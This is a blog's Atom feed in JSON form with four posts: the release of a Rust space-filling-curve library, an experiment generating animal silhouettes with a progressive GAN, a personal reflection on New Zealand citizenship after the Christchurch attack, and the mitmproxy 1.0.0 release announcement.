{"title":"corte.si","link":[{"@attributes":{"href":"https:\/\/corte.si\/atom.xml","rel":"self","type":"application\/atom+xml"}},{"@attributes":{"href":"https:\/\/corte.si\/"}}],"updated":"2026-01-28T00:00:00+00:00","id":"https:\/\/corte.si\/atom.xml","entry":[{"title":"Spacecurve","published":"2026-01-28T00:00:00+00:00","updated":"2026-01-28T00:00:00+00:00","link":{"@attributes":{"href":"https:\/\/corte.si\/posts\/spacecurve\/announce\/","type":"text\/html"}},"id":"https:\/\/corte.si\/posts\/spacecurve\/announce\/","content":"

In 2024, I noticed that I'd let my blog languish. Since the issue was urgent, I\nmade a firm new year's resolution to address the situation in 2025. Which is\nwhy, today, in January 2026, I'm writing this post.<\/p>\n

I've just released spacecurve<\/a>, a new\njust-for-fun space-filling curve project. It's is the latest symptom of a long\npreoccupation with these beautiuful mathematical objects. Over the years,\nthis preoccupation yielded blog posts like malware\nvisualisations<\/a>, a portrait of the Hilbert\ncurve<\/a> and tools like\nbinvis.io<\/a>. I have a long list of related ideas I never got\nto but have to wanted to explore, and the first step is naturally to... rewrite\nit in Rust. This is just a starting point, a base for exploring ideas I have\nabout visualisation, color spaces, and the qualities of the curves themselves.<\/p>\n

As part of the rewrite we now have fast base implementations of the curves\nthemselves in the spacecurve<\/a> library, and a\nvisual exploration tool for 2D and 3D curves in the\nscurve<\/a> command-line tool. Thanks to\negui<\/a>, the visualiser runs both natively and in the browser.<\/p>\n

Click through on the images below to see the web version.<\/p>\n

\n
\n \n \"2D\n <\/a>\n\n \n<\/div>\n<\/div>\n
\n
\n \n \"3D\n <\/a>\n\n \n<\/div>\n<\/div>\n

Installation<\/h2>\n

spacecurve<\/strong> is a Rust library for generating a variety of space-filling\ncurves, including Hilbert, Peano, Sierpinski, Moore, and Z-order curves.<\/p>\n

cargo<\/span> add spacecurve<\/span><\/span><\/code><\/pre>\n
scurve<\/strong> is a command-line tool for generating and visualizing space-filling\ncurves.<\/p>\n
cargo<\/span> install scurve<\/span><\/span><\/code><\/pre>\n
It includes an egui interface for exploring the curves in 2D and 3D, which you\ncan run like this:<\/p>\n
scurve<\/span> gui<\/span><\/span><\/code><\/pre>
spacecurve web<\/h2>\n
Because egui supports webassembly, I've also deployed the egui app to the web.\nAccess it by clicking below, or on any of the images above.<\/p>\n
Web Viewer<\/a><\/p>\n"},{"title":"Generative zoology with neural networks","published":"2020-06-30T00:00:00+00:00","updated":"2020-06-30T00:00:00+00:00","link":{"@attributes":{"href":"https:\/\/corte.si\/posts\/code\/genzoo\/","type":"text\/html"}},"id":"https:\/\/corte.si\/posts\/code\/genzoo\/","content":"
A couple of years ago a paper titled Progressive Growing of GANs for Improved\nQuality, Stability, and Variation<\/a><\/em>\ncropped up on my reading list. It describes growing generative adversarial\nnetworks<\/a>\nprogressively, starting with low-resolution images, and then building up more\ndetail as training goes on. It got quite a bit of press at the time because the\nauthors used their idea to generate realistic, unique images of human faces.<\/p>\n
\n    \n        \n    <\/a>\n\n    \n    
\n        Representative images from the Progressive GANs repo<\/a>\n    <\/div>\n    \n<\/div>\n
Looking at these images, it seems like the neural net would have to learn a vast\nnumber of things to be able to do what these networks were doing. Some of this\nseems relatively simple and factual - say, that eye colours should match. But\nother aspects are fantastically complex and hard to articulate. For instance,\nwhat nuances are needed to link the configuration of eyes, mouth and skin\ncreases into a coherent facial expression? Of course, I'm anthropomorphising a\nstatistical machine here, and we may be fooled by our intuition - it could turn\nout that there are relatively few working variations, and that the solution\nspace is more constrained than we imagine. Maybe the most interesting thing is\nnot the images themselves, but rather the uncanny effect they have on us.<\/p>\n
Some time later, a favourite podcast of mine<\/a>\nmentioned PhyloPic<\/a>, a database of silhouette images of\nanimals, plants and other lifeforms. Musing along the lines above, I wondered\nwhat would result if you trained a system like the one in the Progressive\nGANs<\/strong> paper on a very diverse dataset of this sort. Would you just generate\nmany variations of a few known animal types, or would there be enough variation\nto do neural-network driven speculative\nzoology<\/a>?\nHowever things played out, I was pretty sure I would get a few good prints for\nmy study wall out of it, so I set out to satisfy my curiosity with an attitude\nof open-minded experimentation.<\/p>\n
\n    \n        
\n        Training from random noise to competence\n    <\/div>\n    \n<\/div>\n
I adapted the code from the progressive GANs\npaper<\/a>, and trained a\nmodel for 12000 iterations using a Google Cloud instance with 8 NVIDA K80 GPUs\nover the complete PhyloPic dataset. Total training time, including some false\nstarts and experiments, was 4 days. I used the final trained model to produce\n50k individual images, and then spent hours poring over the results,\ncategorising, filtering and collating images. I also did some light editing by\nflipping images to orient creatures in the same direction, because I found this\na bit more visually satisfying. This hands-on approach means that what you see\nbelow is a sort of collaboration between me and the neural net - it did the\ncreative work, and I edited.<\/p>\n
\n    \n        \n    <\/a>\n\n    \n    
\n        Flying insects\n    <\/div>\n    \n<\/div>\n
The first surprising thing to me was how aesthetically pleasing the results\nwere. Much of this is certainly a reflection of the good taste of the artists\nwho produced the original data. However, there were also some happy accidents.\nFor instance, it seems that whenever the neural net enters uncertain territory -\nwhether it be fiddly bits that it hasn't quite mastered yet or complete flights\nof vaguely biological fantasy - chromatic aberrations begin to enter the\npicture. This is curious, because the input set is entirely in black and white,\nso colour cannot be a learned solution to some generative problem. Any colour\nmust necessarily be a pure artefact of the mind of the machine. Delightfully,\none of the things that consistently triggers chromatic aberrations are the wings\nof flying insects. This means that it generated hundreds and hundreds of\nvariations of evocatively-coloured \"butterflies\" like the ones above. I wonder\nif this could be a useful observation - if you train using only black-and-white\nimages, but demand output in full colour, splotches of colour might be a useful\nway to see where the model is still not able to accurately represent the\ntraining set.<\/p>\n
The bulk of the output is a huge variety of entirely recognisable silhouettes -\nbirds, various quadrupeds, reams of little gracile theropod dinosaurs,\nsauropods, fish, bugs, arachnids and humanoids.<\/p>\n
\n    \n        \n    <\/a>\n\n    \n    
\n        Birds\n    <\/div>\n    \n<\/div>
\n    \n        \n    <\/a>\n\n    \n    
\n        Quadrupeds\n    <\/div>\n    \n<\/div>
\n    \n        \n    <\/a>\n\n    \n    
\n        Dinosaurs\n    <\/div>\n    \n<\/div>
\n    \n        \n    <\/a>\n\n    \n    
\n        Fish\n    <\/div>\n    \n<\/div>
\n    \n        \n    <\/a>\n\n    \n    
\n        Bugs\n    <\/div>\n    \n<\/div>
\n    \n        \n    <\/a>\n\n    \n    
\n        Hominids\n    <\/div>\n    \n<\/div>
Stranger things<\/h2>\n
Once the known critters have been weeded out, we get to stranger things. One of\nthe questions I had going into this was whether plausible animal body plans that\ndon't exist in nature would emerge - perhaps hybrids of the creatures in the\ninput set. Well, with careful search and a helpful touch of pareidolia, I found\nhundreds of quadrupedal birds, snake-headed deer and other fantastical\nmonstrosities.<\/p>\n
\n    \n        \n    <\/a>\n\n    \n    
\n        Monstrosities\n    <\/div>\n    \n<\/div>\n
Straying even further into the unkown, the model produced weird abstract\npatterns and unidentifiable entities, all with a vaguely biological, \"life-ish\"\nfeel to them.<\/p>\n
\n    \n        \n    <\/a>\n\n    \n    
\n        Abstract\n    <\/div>\n    \n<\/div>
\n    \n        \n    <\/a>\n\n    \n    
\n        Unidentifiable\n    <\/div>\n    \n<\/div>
A random sample<\/h2>\n
What doesn't come through in the images above is the sheer abundance of\nvariation in the results. I'm having a number of these image sets printed and\nframed, and the effect of hundreds of small, detailed images side by side at\nscale is quite striking. To give some idea of the scope of the full dataset, I'm\nincluding one of these prints below - this one is a random sample from the\nunfiltered corpus of images.<\/p>\n
\n    \n        \n    <\/a>\n\n    \n<\/div>"},{"title":"Some personal thoughts on our national tragedy","published":"2019-03-19T00:00:00+00:00","updated":"2019-03-19T00:00:00+00:00","link":{"@attributes":{"href":"https:\/\/corte.si\/posts\/personal\/tragedy\/","type":"text\/html"}},"id":"https:\/\/corte.si\/posts\/personal\/tragedy\/","content":"
\n    \n        \"Outside\n    <\/a>\n\n    \n    
\n        Outside the Al Huda Mosque near my home (by\n            Mark McGuire<\/a>)\n    <\/div>\n    \n<\/div>\n
A year ago, my wife and I decided to become citizens of New Zealand. Both of our\nsons were born here and are full, native Kiwis. It felt odd for our family not\nto have this in common, and besides, our own connection with New Zealand had\ngrown strong over the happy decade we'd lived here. It was time to take the\nplunge. Forms were filled in, interviews were held, and we were were notified\nthat our citizenship ceremony would be on the 8th of February, 2018.<\/p>\n
On the day, we were ushered into a hall with a podium and rows of slightly\nuncomfortable stackable chairs. By the time we arrived it was already full of\nour fellow soon-to-be Kiwis, along with their friends and family. Boisterous\nchildren resisted the shushing of their parents, and there was a bit of raucous\nrunning up and down the aisles. Nobody minded. The mood was friendly, expectant,\nand happy. We took our seats next to a young Chinese couple, and behind a family\nfrom the UK. Many were wearing splendid traditional dress from their countries\nof origin - Tongan, Chinese, Thai, Indian. I myself wore a business suit,\nsomething I only do under duress. The man in front of me's stiff posture and\noccasional collar-stretching finger showed I wasn't alone. We were all there\nwith common purpose - because we felt the need for a deeper commitment to our\nhome, and perhaps a deeper sense of acceptance in turn.<\/p>\n
A dapper, splendid-mustached gentleman took his place at the podium, and the\nhall became silent. He began the kind of speech you would expect: a speech of\nwelcome, about the rights and duties of citizenship, about the solemnity of the\nmoment. It was at this point, in that stuffy hall, in the middle of a somewhat\nmonotonous civil ceremony, that I was suddenly aware of a profound connection\nwith the people around me. I felt, with complete clarity, a golden thread\nlinking me to my wife, to the couple next to us, to the gent running the\nceremony, extending outwards to everyone in the room. I felt the presence of\ngenerations of parents, stretching back in time, working to better the lives of\ntheir families, all their individual journeys leading us here, to this hall at\nthis time. Most of all, I felt the presence of our children - all our children,\nthe children in the room and my children, and their children, and their\nchildren's children, all joined, facing the unknowable future. This built to a\nsort of vision: a great, thronging, thrusting, golden river of humanity,\nmeandering over a dark background. All<\/em> of us together, everyone that has ever\nlived and everyone that ever will, shining ties binding us together each to\neach, all pushing ever forward in humanity's common project. For a moment\nbetween breaths, I was in touch with something transcendent, cosmically larger\nthan me, yet something of which my own small fleck of personhood was a necessary\npart.<\/p>\n
Afterwards, people congregated in happy, smiling groups, shaking hands and\nhugging, having their first conversations as full citizens. I slipped out the\ndoor at the back of the hall. My wife, who knows me best, followed, holding my\nhand and laughing with kind-hearted amusement at how moist-eyed and emotional I\nwas.<\/p>\n
That moment in the hall came back to me when I first read about the atrocity in\nChristchurch. I saw again the open, friendly, hopeful faces of my freshly-minted\nfellow citizens. I felt again the web of love that connects us all in\nfundamental unity. And I was suffused with an aching and overwhelming grief.\nGrief for the victims and their families, my countrymen and countrywomen. But\ngrief also that anyone could have a conception of humanity so small, so narrow,\nand so mean as to lead to an act like this.<\/p>\n
In the coming weeks I'll be doing my part in the business of reckoning with our\nnational tragedy, using the tools I have - code, data, and technology. We can\ndo much with these, but we can't go all the way. The real work will be to look\nagain at the human aspect our online communities, which, it has become\nterrifyingly clear, have become an obstacle to recognising our common purpose.<\/p>\n"},{"title":"mitmproxy v1.0.0: Christmas Edition","published":"2016-12-26T00:00:00+00:00","updated":"2016-12-26T00:00:00+00:00","link":{"@attributes":{"href":"https:\/\/corte.si\/posts\/code\/mitmproxy\/announce_1_0\/","type":"text\/html"}},"id":"https:\/\/corte.si\/posts\/code\/mitmproxy\/announce_1_0\/","content":"
\n    \n        \n    <\/a>\n\n    \n<\/div>\n
Six years after mitmproxy's first checkin, we've finally released version\n1.0.0 of the project. Our version numbering persisted below 1.0 well into\nthe project's maturity, for reasons that are a tad difficult to explain. My\nmental model of software development is of an eternal pilgrimage - the roadmap\nof possible improvements stretches on forever, and we never quite reach a point\nwhere we look back and feel that we've arrived. From this perspective, it makes\nsense for 1.0 to always be out of reach. Rather than adopting more\ntranscendental options<\/a>, I've stuck\nwith simply incrementing the minor version with each release. This release sees\ntwo changes in our process. First, we're committing to a much more regular\ncadence, aiming for a new release every two months or so (with minor bugfix and\npatch releases in between). Second, each of these releases will see a major\nversion number increment - this is v1.0, we'll release v2.0 by the end of\nFebruary, and so forth. This retains something of the flavor of our previous\neccentric version numbering strategy by de-emphasizing major version increments\nas flagfall events, without being as restrictive. Let the pilgrimage continue.<\/p>\n
The project's momentum continues to be excellent - since the last release,\nwe've had 459 commits by 10 contributors, resulting in 104 closed issues and\n172 closed PRs, all in just over 70 days. All this activity has resulted in a\nnumber of very significant developments.<\/p>\n
Over the last year, we've done a huge amount of work converting the project\nfrom Python 2 to Python 3. Our previous release straddled the two versions,\nretaining compatibility with Python 2.7. This release is strictly Python3-only.\nWe are now well positioned to take full advantage of things like optional type\nchecking, the new asyncio module and the many small and large interface\nimprovements that Python 3 brings.<\/p>\n
Our user interfaces continue to improve by leaps and bounds. The console\ninterface now has a much cleaner core, sports a number of new features like\nflow ordering, and has seen significant speed improvements. We're also finally\nreleasing something we've been cooking up for quite a while - mitmweb, a web\ninterface to mitmproxy. It's doesn't have feature parity with the console tool\nyet, but we feel it's ready to step onto the stage as one of our primary\ninterfaces. Since mitmproxy console doesn't run on Windows (yet), mitmweb is\nthe best GUI option for our Windows users for now. We're also improving our\ndistribution mechanisms on Windows, with a new installer package kindly\nprovided by BitRock<\/a>. These two developments together\nmean much better support for our Windows users.<\/p>\n
At a protocol level, we're happy to announce that our support for Websockets is\nnow mature, and enabled by default. For the moment, the best way to interact\nwith Websockets traffic is to use our scripting mechanism - we will have\nsupport in the GUIs very soon. On the HTTP\/2 front, the news is mixed. We're\nvery happy with the quality of our own implementation of the protocol, but\nwe've discovered that some server implementations still have problems with\ncertain protocol edge cases. Over the last few months we found multiple bugs\naffecting some very prominent websites and CDNs. We are working closely with\nthe affected companies to get these issues fixed - but big wheels turn slowly,\nespecially when it comes to business-critical infrastructure, and all the\nneeded repairs haven't been rolled out yet. This has left us in a bit of a\nquandary - we know that fixes for these issues are imminent, and we believe\nthat the particular problems are idiosyncratic and shouldn't prompt a\nredevelopment of our core to make us bug-for-bug compatible. None the less, the\neffect is that mitmproxy's HTTP2 implementation will currently do unexpected\nthings when talking to large sites like Twitter and Reddit. We've decided to\ndisable HTTP\/2 by default for this release - you can explicitly re-enable it\nusing the --http2<\/em> flag.<\/p>\n
Finally, if you're interested in hacking on mitmproxy, now is an excellent time\nto join us. Contributing is simple - pick one of the issues that we've tagged\nas good first\ncontributions<\/a>,\njoin us on Slack<\/a> to discuss your approach, and\nthen send a PR.<\/p>\n
Changelog<\/h2>\n